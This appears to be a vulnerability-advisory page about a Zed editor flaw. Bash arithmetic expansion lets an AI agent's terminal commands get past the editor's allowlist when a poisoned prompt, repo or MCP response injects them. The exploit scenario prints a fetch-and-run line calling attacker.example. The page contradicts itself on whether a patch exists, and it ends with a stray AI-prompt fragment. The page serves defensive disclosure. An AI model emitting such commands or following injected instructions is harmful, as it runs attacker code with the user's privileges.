EUVD-2026-32940Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconDeliver malicious prompt or repo to user
-
DeliveryUser invokes Zed AI agent with terminal tool
-
ExploitAgent issues echo with $((...)) payload
-
InstallAllowlist matches outer echo and approves
-
C2Bash evaluates arithmetic expansion first
-
ExecuteArbitrary command executes as user
-
ImpactLocal code execution and data access
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the victim to be running Zed prior to 0.229.0 with the terminal tool enabled and at least one shell-evaluating command (such as echo) on the allowlist, and requires user interaction (UI:R) to invoke or accept the malicious input - typically by using the AI agent against an attacker-controlled prompt, repository content, MCP server response, or extension that supplies the crafted argument containing $((...)). Exploitation is local-vector (AV:L) - there is no network listener to attack directly - and authentication to Zed itself is not required (PR:N) because the bypass operates within the user's own editor session; the bug does not affect users who keep the agent's terminal tool disabled or who never approve allowlisted commands. |
| Impact | The CVSS 3.1 base score of 8.6 is driven primarily by Scope:Changed and High impact across CIA, reflecting that the bypass escapes Zed's intended security boundary (the allowlist). However, the vector AV:L/AC:L/PR:N/UI:R indicates this is a local-vector issue requiring user interaction, not a remotely reachable network bug - realistic exploitation depends on a user being induced to invoke a malicious prompt, project, or extension that triggers the disallowed command via an AI agent or automation flow. It is not listed in CISA KEV and no EPSS score is provided in the input, so widespread automated exploitation is unlikely; the practical risk is highest for users who run Zed's AI agent against untrusted repos, prompts, or MCP inputs. No public exploit identified at time of analysis, though the vendor advisory describes the exact bypass technique, lowering the bar for reproduction. |
| Exploit ScenarioDerived | A user opens or accepts an untrusted prompt, README, or MCP-supplied instruction while using Zed's AI agent with the terminal tool restricted to safe commands like 'echo'. The agent emits something like echo $(( $(curl attacker.example/x.sh | sh) )) - bash evaluates the inner command substitution before the allowlist-checked echo ever runs, and the attacker's payload executes with the user's privileges. No public PoC is identified at time of analysis, but the advisory describes the technique in sufficient detail to reproduce. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 28, 2026
Command injection in Zed code editor versions prior to 0.229.0 allows bypass of the terminal tool's permission allowlist through bash arithmetic expansion syntax $((...)) nested inside permitted commands like echo. Because Zed is increasingly used with AI agent workflows that execute shell commands on behalf of the user, the bypass effectively neutralizes the safety boundary intended to gate dangerous operations. No public exploit identified at time of analysis, but the GitHub Security Advisory GHSA-c99f-97vf-4h5h provides sufficient detail for a working PoC to be reconstructed.
RemediationAI
Vendor-released patch: upgrade Zed to version 0.229.0 or later, which corrects the terminal tool's argument parsing so that bash arithmetic expansion no longer slips past the allowlist; the fix is documented in GitHub Security Advisory GHSA-c99f-97vf-4h5h (https://github.com/zed-industries/zed/security/advisories/GHSA-c99f-97vf-4h5h). Until the upgrade is applied, users should disable or refuse the AI agent's terminal tool, avoid auto-approving allowlisted commands, and decline to run Zed against untrusted projects, prompts, or MCP servers that can author commands on the user's behalf - the trade-off is loss of agentic terminal automation in trusted workflows. Operating Zed under a least-privilege OS account also limits blast radius if a bypass triggers, at the cost of friction with local tooling that expects the user's normal environment.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Zed (cpe:2.3:a:zed-industries:zed) is a high-performance collaborative code editor developed by Zed Industries that exposes a terminal tool callable by AI agents and extensions, gated by a permission/allowlist system intended to restrict which shell commands may execute without prompting. The root cause maps to CWE-78 (OS Command Injection): the allowlist checks the outer command token (e.g., 'echo') but does not recursively evaluate bash metasyntax embedded in arguments. Specifically, bash's arithmetic expansion construct $((...)) performs shell expansion before the outer command sees its arguments, and bash permits command substitution-like behavior inside arithmetic contexts, so arbitrary commands embedded inside $((...)) execute under the parent shell privileges even though only 'echo' appears on the allowlist.
Know when Zed gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
1DescriptionGitHub Advisory
Zed is a code editor. Prior to 0.229.0, Zed's terminal tool permission system can be bypassed via bash arithmetic expansion $((...)), allowing execution of arbitrary commands nested inside an allowlisted command like echo. This vulnerability is fixed in 0.229.0.
Executive ViewAI
Zed code editor (versions prior to 0.229.0) contains a command injection vulnerability allowing attackers to bypass the terminal tool's safety controls intended to restrict dangerous operations. When integrated with AI agent workflows that execute shell commands automatically on the user's behalf, this vulnerability effectively neutralizes the permission boundary, exposing organizations to unintended or malicious command execution. Organizations actively using Zed for AI-assisted development face elevated risk of unauthorized code execution with user privileges.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable terminal tool functionality in Zed configuration; (2) Restrict Zed to non-automation development only; (3) Isolate systems running Zed from production networks and sensitive repositories; (4) Implement shell command logging to detect exploitation attempts; (5) Require manual review of all shell-executed commands in AI workflows.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Zed, a code editor, has an extension installer allows tar/gzip downloads. [CVSS 8.8 HIGH]
Zed code editor versions prior to 0.224.4 contain a path traversal vulnerability in ZIP extraction that fails to sanitiz
Arbitrary code execution in the Zed code editor affects all versions prior to 0.218.2-pre, where Model Context Protocol
Arbitrary code execution in the Zed code editor (all versions prior to 0.218.2-pre) lets a project's .zed/settings.json
Zed code editor versions before 0.225.9 fail to properly validate symbolic links in Agent file tools, allowing attackers
Zed Editor versions prior to 0.219.4 fail to display tool invocation parameters during permission prompts or after execu
A directory traversal vulnerability with remote code execution in Prim'X Zed!. Rated critical severity (CVSS 9.8), this
Remote code execution in Zed code editor versions prior to 0.227.1 occurs when a user opens a folder containing a malici
Arbitrary code execution in the Zed code editor (versions prior to 0.229.0) is possible by abusing its terminal tool per
Remote command execution in Zed code editor versions prior to 0.227.1 occurs when opening SSH or WSL remote terminals be
By default, .ZED containers produced by PRIMX ZED!. Rated high severity (CVSS 7.5), this vulnerability is remotely explo
We are tasked to synthesize data from multiple intelligence sources about CVE-2026-44462 into a comprehensive JSON analy
Exploit-DB